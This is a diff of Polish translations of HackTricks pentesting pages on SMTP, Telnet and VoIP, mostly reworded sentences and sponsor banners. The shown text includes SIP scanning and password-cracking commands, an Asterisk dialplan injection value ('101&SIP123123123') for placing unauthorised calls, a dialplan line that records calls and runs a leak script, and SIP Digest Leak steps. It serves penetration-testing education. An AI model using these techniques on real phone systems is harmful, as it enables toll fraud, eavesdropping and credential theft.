||||
|
@ -322,7 +322,7 @@ Aby sprawdzić SPF domeny, możesz użyć narzędzi online, takich jak: [https:/
|
|||
|
||||
### DKIM (DomainKeys Identified Mail)
|
||||
|
||||
DKIM jest wykorzystywany do podpisywania wychodzących emaili, co pozwala na ich weryfikację przez zewnętrzne Agenty Przesyłania Poczty (MTA) poprzez pobranie publicznego klucza domeny z DNS. Ten publiczny klucz znajduje się w rekordzie TXT domeny. Aby uzyskać dostęp do tego klucza, należy znać zarówno selektor, jak i nazwę domeny.
|
||||
DKIM jest wykorzystywany do podpisywania wychodzących emaili, co umożliwia ich weryfikację przez zewnętrzne Agenty Transferu Poczty (MTA) poprzez pobranie publicznego klucza domeny z DNS. Ten publiczny klucz znajduje się w rekordzie TXT domeny. Aby uzyskać dostęp do tego klucza, należy znać zarówno selektor, jak i nazwę domeny.
|
||||
|
||||
Na przykład, aby zażądać klucza, niezbędne są nazwa domeny i selektor. Można je znaleźć w nagłówku maila `DKIM-Signature`, np. `d=gmail.com;s=20120113`.
|
||||
|
||||
|
@ -336,7 +336,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
|
|||
|
||||
DMARC zwiększa bezpieczeństwo e-maili, opierając się na protokołach SPF i DKIM. Określa zasady, które kierują serwerami pocztowymi w obsłudze e-maili z określonej domeny, w tym jak radzić sobie z niepowodzeniami uwierzytelniania i gdzie wysyłać raporty o działaniach związanych z przetwarzaniem e-maili.
|
||||
|
||||
**Aby uzyskać rekord DMARC, musisz zapytać subdomenę \_dmarc**
|
||||
**Aby uzyskać rekord DMARC, musisz zapytać o subdomenę \_dmarc**
|
||||
```bash
|
||||
# Reject
|
||||
dig _dmarc.facebook.com txt | grep DMARC
|
||||
|
@ -355,11 +355,11 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
|||
| Tag Name | Purpose | Sample |
|
||||
| -------- | --------------------------------------------- | ------------------------------- |
|
||||
| v | Wersja protokołu | v=DMARC1 |
|
||||
| pct | Procent wiadomości podlegających filtrowaniu | pct=20 |
|
||||
| pct | Procent wiadomości poddanych filtrowaniu | pct=20 |
|
||||
| ruf | URI raportowania dla raportów kryminalistycznych | ruf=mailto:authfail@example.com |
|
||||
| rua | URI raportowania zbiorczych raportów | rua=mailto:aggrep@example.com |
|
||||
| p | Polityka dla domeny organizacyjnej | p=quarantine |
|
||||
| sp | Polityka dla subdomen OD | sp=reject |
|
||||
| sp | Polityka dla subdomen domeny OD | sp=reject |
|
||||
| adkim | Tryb dopasowania dla DKIM | adkim=s |
|
||||
| aspf | Tryb dopasowania dla SPF | aspf=r |
|
||||
|
||||
|
@ -387,13 +387,13 @@ Obejściem, które niektórzy administratorzy stosują, aby uniknąć problemów
|
|||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
Aby sprawdzić, czy serwer pocztowy jest otwartym przekaźnikiem (co oznacza, że może przekazywać e-maile z dowolnego zewnętrznego źródła), narzędzie `nmap` jest powszechnie używane. Zawiera ono specjalny skrypt zaprojektowany do testowania tego. Polecenie do przeprowadzenia szczegółowego skanowania na serwerze (na przykład z adresem IP 10.10.10.10) na porcie 25 za pomocą `nmap` to:
|
||||
Aby sprawdzić, czy serwer pocztowy jest otwartym przekaźnikiem (co oznacza, że może przekazywać e-maile z dowolnego zewnętrznego źródła), powszechnie używane jest narzędzie `nmap`. Zawiera ono specjalny skrypt zaprojektowany do testowania tego. Polecenie do przeprowadzenia szczegółowego skanowania na serwerze (na przykład z adresem IP 10.10.10.10) na porcie 25 za pomocą `nmap` to:
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
### **Narzędzia**
|
||||
|
||||
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Sprawdź błędy w konfiguracji SPF i DMARC**
|
||||
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Sprawdź błędne konfiguracje SPF i DMARC**
|
||||
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Automatycznie pobierz konfiguracje SPF i DMARC**
|
||||
|
||||
### Wyślij fałszywy e-mail
|
||||
|
@ -536,7 +536,7 @@ submit.cf
|
|||
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
|
||||
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/)
|
||||
|
||||
## Automatyczne polecenia HackTricks
|
||||
## HackTricks Automatyczne Komendy
|
||||
```
|
||||
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 25,465,587 #Comma separated if there is more than one.
|
||||
|
@ -589,7 +589,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Zdobądź perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonywujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -35,10 +35,10 @@ Alternatywna komenda do rozpoczęcia rozmowy, podkreślająca, że serwer używa
|
|||
Za pomocą tej komendy SMTP rozpoczynają się operacje: nadawca podaje adres e-mail w polu „From” i faktycznie rozpoczyna transfer e-maila.
|
||||
|
||||
**RCPT TO**\
|
||||
Identyfikuje odbiorcę e-maila; jeśli jest ich więcej, komenda jest po prostu powtarzana adres po adresie.
|
||||
Identyfikuje odbiorcę e-maila; jeśli jest ich więcej niż jeden, komenda jest po prostu powtarzana adres po adresie.
|
||||
|
||||
**SIZE**\
|
||||
Ta komenda SMTP informuje zdalny serwer o szacowanej wielkości (w bajtach) załączonego e-maila. Może być również używana do zgłaszania maksymalnego rozmiaru wiadomości, który serwer ma zaakceptować.
|
||||
Ta komenda SMTP informuje zdalny serwer o szacowanej wielkości (w bajtach) załączonego e-maila. Może być również używana do zgłaszania maksymalnego rozmiaru wiadomości, która ma być zaakceptowana przez serwer.
|
||||
|
||||
**DATA**\
|
||||
Za pomocą komendy DATA rozpoczyna się transfer treści e-maila; zazwyczaj jest następnie uzupełniana kodem odpowiedzi 354 wydawanym przez serwer, dającym pozwolenie na rozpoczęcie rzeczywistej transmisji.
|
||||
|
@ -66,9 +66,9 @@ Kończy rozmowę SMTP.
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonywujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
|
@ -89,9 +89,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Zdobądź perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -105,7 +105,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,29 +1,29 @@
|
|||
# Pentesting VoIP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Znajdź i zgłoś krytyczne, podatne na ataki luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## VoIP Podstawowe Informacje
|
||||
## Podstawowe informacje o VoIP
|
||||
|
||||
Aby zacząć uczyć się, jak działa VoIP, sprawdź:
|
||||
|
||||
|
@ -31,7 +31,7 @@ Aby zacząć uczyć się, jak działa VoIP, sprawdź:
|
|||
[basic-voip-protocols](basic-voip-protocols/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Podstawowe Wiadomości
|
||||
## Podstawowe wiadomości
|
||||
```
|
||||
Request name Description RFC references
|
||||
------------------------------------------------------------------------------------------------------
|
||||
|
@ -160,7 +160,7 @@ Gdy masz numery telefonów, możesz skorzystać z usług online, aby zidentyfiko
|
|||
* [https://www.whitepages.com/](https://www.whitepages.com/)
|
||||
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
|
||||
|
||||
Znając operatora, który świadczy usługi VoIP, możesz zidentyfikować, czy firma korzysta z VoIP... Co więcej, możliwe, że firma nie zatrudniła usług VoIP, ale używa kart PSTN do podłączenia własnej centrali VoIP do tradycyjnej sieci telefonicznej.
|
||||
Znając operatora, który świadczy usługi VoIP, możesz zidentyfikować, czy firma korzysta z VoIP... Co więcej, możliwe jest, że firma nie zatrudniła usług VoIP, ale używa kart PSTN do połączenia własnej centrali VoIP z tradycyjną siecią telefoniczną.
|
||||
|
||||
Rzeczy takie jak automatyczne odpowiedzi z muzyką zazwyczaj wskazują, że używane jest VoIP.
|
||||
|
||||
|
@ -207,7 +207,7 @@ Każda inna enumeracja OSINT, która pomoże zidentyfikować używane oprogramow
|
|||
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
||||
```
|
||||
* **`svmap`** z SIPVicious (`sudo apt install sipvicious`): Zlokalizuje usługi SIP w wskazanej sieci.
|
||||
* `svmap` jest **łatwy do zablokowania**, ponieważ używa User-Agent `friendly-scanner`, ale możesz zmodyfikować kod z `/usr/share/sipvicious/sipvicious` i zmienić go.
|
||||
* `svmap` jest **łatwy do zablokowania**, ponieważ używa User-Agent `friendly-scanner`, ale możesz zmodyfikować kod z `/usr/share/sipvicious/sipvicious` i go zmienić.
|
||||
```bash
|
||||
# Use --fp to fingerprint the services
|
||||
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
||||
|
@ -238,6 +238,7 @@ PBX może również udostępniać inne usługi sieciowe, takie jak:
|
|||
* **3306 (MySQL)**: Baza danych MySQL
|
||||
* **5038 (Manager)**: Umożliwia korzystanie z Asteriska z innych platform
|
||||
* **5222 (XMPP)**: Wiadomości za pomocą Jabber
|
||||
* **5432 (PostgreSQL)**: Baza danych PostgreSQL
|
||||
* I inne...
|
||||
|
||||
### Enumerowanie metod
|
||||
|
@ -252,7 +253,7 @@ Bardzo ważne jest, aby analizować nagłówki, które serwer wysyła z powrotem
|
|||
```bash
|
||||
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
|
||||
```
|
||||
Możliwe jest również uzyskanie danych, jeśli serwer używa websockets. Za pomocą `SIPPTS wssend` z [**sippts**](https://github.com/Pepelux/sippts) możemy wysyłać spersonalizowane wiadomości WS.
|
||||
Możliwe jest również uzyskanie danych, jeśli serwer używa websockets. Z `SIPPTS wssend` z [**sippts**](https://github.com/Pepelux/sippts) możemy wysyłać spersonalizowane wiadomości WS.
|
||||
```bash
|
||||
sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
||||
```
|
||||
|
@ -295,7 +296,7 @@ Jeśli nazwa użytkownika nie jest taka sama jak rozszerzenie, będziesz musiał
|
|||
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
||||
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
||||
```
|
||||
* **`SIPPTS rcrack`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack to zdalny program do łamania haseł dla usług SIP. Rcrack może testować hasła dla kilku użytkowników w różnych adresach IP i zakresach portów.
|
||||
* **`SIPPTS rcrack`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack to zdalny program do łamania haseł dla usług SIP. Rcrack może testować hasła dla kilku użytkowników w różnych zakresach IP i portów.
|
||||
```bash
|
||||
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
||||
```
|
||||
|
@ -305,7 +306,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|||
|
||||
### VoIP Sniffing
|
||||
|
||||
Jeśli znajdziesz sprzęt VoIP w **otwartej sieci Wifi**, możesz **przechwycić wszystkie informacje**. Co więcej, jeśli jesteś w bardziej zamkniętej sieci (połączonej przez Ethernet lub chronioną Wifi), możesz przeprowadzić **atak MitM, taki jak** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) między **PBX a bramą**, aby przechwycić informacje.
|
||||
Jeśli znajdziesz sprzęt VoIP w **otwartej sieci Wifi**, możesz **przechwycić wszystkie informacje**. Co więcej, jeśli jesteś w bardziej zamkniętej sieci (połączonej przez Ethernet lub chronioną Wifi), możesz przeprowadzić **ataki MitM, takie jak** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) między **PBX a bramą**, aby przechwycić informacje.
|
||||
|
||||
Wśród informacji sieciowych możesz znaleźć **dane logowania do zarządzania sprzętem**, **numery wewnętrzne** użytkowników, **nazwy użytkowników**, **adresy IP**, a nawet **zhardcodowane hasła** i **pakiety RTP**, które możesz odtworzyć, aby **usłyszeć rozmowę**, i więcej.
|
||||
|
||||
|
@ -320,7 +321,7 @@ To samo stanie się, jeśli używane są **SRTP** i **ZRTP**, **pakiety RTP nie
|
|||
|
||||
[Sprawdź ten przykład, aby lepiej zrozumieć **komunikację SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example), aby dowiedzieć się, jak **są wysyłane dane logowania**.
|
||||
|
||||
* **`sipdump`** i **`sipcrack`,** część **sipcrack** (`apt-get install sipcrack`): Te narzędzia mogą **wyodrębnić** z **pcap** **uwierzytelnienia digest** w protokole SIP i **przeprowadzić atak brute-force**.
|
||||
* **`sipdump`** i **`sipcrack`**, część **sipcrack** (`apt-get install sipcrack`): Te narzędzia mogą **wyodrębnić** z **pcap** **uwierzytelnienia digest** w protokole SIP i **przeprowadzić atak brute-force** na nie.
|
||||
```bash
|
||||
sipdump -p net-capture.pcap sip-creds.txt
|
||||
sipcrack sip-creds.txt -w dict.txt
|
||||
|
@ -376,13 +377,13 @@ Na przykład, ta konfiguracja byłaby podatna na atak:\
|
|||
|
||||
### Darmowe Połączenia / Błędne Konfiguracje Kontekstów Asteriska
|
||||
|
||||
W Asterisku **kontekst** to nazwany kontener lub sekcja w planie numeracyjnym, która **grupuje powiązane rozszerzenia, akcje i zasady**. Plan numeracyjny jest kluczowym komponentem systemu Asterisk, ponieważ definiuje **jak są obsługiwane i kierowane połączenia przychodzące i wychodzące**. Konteksty są używane do organizacji planu numeracyjnego, zarządzania kontrolą dostępu i zapewnienia separacji między różnymi częściami systemu.
|
||||
W Asterisku **kontekst** to nazwany kontener lub sekcja w planie numeracyjnym, która **grupuje powiązane rozszerzenia, akcje i zasady**. Plan numeracyjny jest kluczowym komponentem systemu Asterisk, ponieważ definiuje **jak obsługiwane i kierowane są połączenia przychodzące i wychodzące**. Konteksty są używane do organizacji planu numeracyjnego, zarządzania kontrolą dostępu i zapewnienia separacji między różnymi częściami systemu.
|
||||
|
||||
Każdy kontekst jest definiowany w pliku konfiguracyjnym, zazwyczaj w pliku **`extensions.conf`**. Konteksty są oznaczane nawiasami kwadratowymi, a nazwa kontekstu jest umieszczona w ich wnętrzu. Na przykład:
|
||||
```bash
|
||||
csharpCopy code[my_context]
|
||||
```
|
||||
W kontekście definiujesz numery wewnętrzne (wzorce wybieranych numerów) i przypisujesz je do serii działań lub aplikacji. Te działania określają, jak połączenie jest przetwarzane. Na przykład:
|
||||
W kontekście definiujesz numery wewnętrzne (wzorce wybieranych numerów) i łączysz je z serią działań lub aplikacji. Te działania określają, jak połączenie jest przetwarzane. Na przykład:
|
||||
```scss
|
||||
[my_context]
|
||||
exten => 100,1,Answer()
|
||||
|
@ -455,19 +456,19 @@ Używając numeru wewnętrznego takiego jak:
|
|||
```scss
|
||||
exten => _X.,1,Dial(SIP/${EXTEN})
|
||||
```
|
||||
Gdzie **`${EXTEN}`** to **numer wewnętrzny**, który będzie wywoływany, gdy **wprowadzony zostanie ext 101**, to co się wydarzy:
|
||||
Gdzie **`${EXTEN}`** to **numer wewnętrzny**, który będzie wywoływany, gdy **wprowadzony zostanie ext 101**, to co się stanie:
|
||||
```scss
|
||||
exten => 101,1,Dial(SIP/101)
|
||||
```
|
||||
Jednakże, jeśli **`${EXTEN}`** pozwala na wprowadzenie **więcej niż cyfr** (jak w starszych wersjach Asteriska), atakujący mógłby wprowadzić **`101&SIP123123123`**, aby zadzwonić na numer telefonu 123123123. I to byłby wynik:
|
||||
Jednakże, jeśli **`${EXTEN}`** pozwala na wprowadzenie **więcej niż cyfr** (jak w starszych wersjach Asterisk), atakujący mógłby wprowadzić **`101&SIP123123123`**, aby zadzwonić pod numer telefonu 123123123. I to byłby wynik:
|
||||
```scss
|
||||
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
||||
```
|
||||
Dlatego połączenie do numeru wewnętrznego **`101`** i **`123123123`** zostanie wysłane, a tylko pierwsze z nich nawiąże połączenie... ale jeśli atakujący użyje **numeru wewnętrznego, który omija jakiekolwiek dopasowanie**, które jest wykonywane, ale nie istnieje, mógłby **wstrzyknąć połączenie tylko do pożądanego numeru**.
|
||||
Dlatego połączenie do rozszerzenia **`101`** i **`123123123`** zostanie wysłane, a tylko pierwsze z nich nawiąże połączenie... ale jeśli atakujący użyje **rozszerzenia, które omija jakiekolwiek dopasowanie**, które jest wykonywane, ale nie istnieje, mógłby **wstrzyknąć połączenie tylko do pożądanego numeru**.
|
||||
|
||||
## Wrażliwość SIPDigestLeak
|
||||
|
||||
Wrażliwość SIP Digest Leak dotyczy dużej liczby telefonów SIP, w tym zarówno sprzętowych, jak i programowych telefonów IP oraz adapterów telefonicznych (VoIP na analogowe). Wrażliwość ta pozwala na **wyciek odpowiedzi na uwierzytelnienie Digest**, która jest obliczana na podstawie hasła. Możliwe jest **przeprowadzenie ataku offline na hasło**, który może odzyskać większość haseł na podstawie odpowiedzi na wyzwanie.
|
||||
Wrażliwość SIP Digest Leak dotyczy dużej liczby telefonów SIP, w tym zarówno sprzętowych, jak i programowych telefonów IP oraz adapterów telefonicznych (VoIP na analogowe). Wrażliwość ta pozwala na **wyciek odpowiedzi na uwierzytelnienie Digest**, która jest obliczana na podstawie hasła. Możliwy jest **atak offline na hasło**, który może odzyskać większość haseł na podstawie odpowiedzi na wyzwanie.
|
||||
|
||||
**[Scenariusz wrażliwości stąd**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||
|
||||
|
@ -476,7 +477,7 @@ Wrażliwość SIP Digest Leak dotyczy dużej liczby telefonów SIP, w tym zarów
|
|||
3. Telefon ofiary zaczyna dzwonić, a ktoś odbiera i odkłada słuchawkę (ponieważ nikt nie odpowiada na telefon po drugiej stronie)
|
||||
4. Gdy telefon zostaje odłożony, **telefon ofiary wysyła BYE do atakującego**
|
||||
5. **Atakujący wydaje odpowiedź 407**, która **prosi o uwierzytelnienie** i wydaje wyzwanie uwierzytelniające
|
||||
6. **Telefon ofiary podaje odpowiedź na wyzwanie uwierzytelniające** w drugim BYE
|
||||
6. **Telefon ofiary dostarcza odpowiedź na wyzwanie uwierzytelniające** w drugim BYE
|
||||
7. **Atakujący może następnie przeprowadzić atak brute-force** na odpowiedzi na wyzwanie na swoim lokalnym komputerze (lub w rozproszonej sieci itp.) i odgadnąć hasło
|
||||
|
||||
* **Wyciek SIPPTS** z [**sippts**](https://github.com/Pepelux/sippts)**:** Wyciek SIPPTS wykorzystuje wrażliwość SIP Digest Leak, która dotyczy dużej liczby telefonów SIP. Wynik można zapisać w formacie SipCrack, aby przeprowadzić atak brute-force za pomocą SIPPTS dcrack lub narzędzia SipCrack.
|
||||
|
@ -548,15 +549,15 @@ exten => _X.,2,MixMonitor(${NAME})
|
|||
|
||||
Połączenia będą zapisywane w **`/tmp`**.
|
||||
|
||||
Możesz również sprawić, aby Asterisk **wykonał skrypt, który ujawni połączenie** po jego zakończeniu.
|
||||
Możesz również sprawić, że Asterisk **wykona skrypt, który ujawni połączenie** po jego zakończeniu.
|
||||
```scss
|
||||
exten => h,1,System(/tmp/leak_conv.sh &)
|
||||
```
|
||||
### Wrażliwość RTCPBleed
|
||||
|
||||
**RTCPBleed** to poważny problem bezpieczeństwa dotyczący serwerów VoIP opartych na Asterisk (opublikowany w 2017 roku). Wrażliwość ta pozwala na **przechwytywanie i przekierowywanie ruchu **RTP (Real Time Protocol)**, który przenosi rozmowy VoIP, przez każdego w Internecie**. Dzieje się tak, ponieważ ruch RTP omija uwierzytelnianie podczas przechodzenia przez zapory NAT (Network Address Translation).
|
||||
**RTCPBleed** to poważny problem bezpieczeństwa, który dotyczy serwerów VoIP opartych na Asterisku (opublikowany w 2017 roku). Wrażliwość ta pozwala na **przechwytywanie i przekierowywanie ruchu **RTP (Real Time Protocol)**, który przenosi rozmowy VoIP, przez **każdego w Internecie**. Dzieje się tak, ponieważ ruch RTP omija uwierzytelnianie podczas przechodzenia przez zapory NAT (Network Address Translation).
|
||||
|
||||
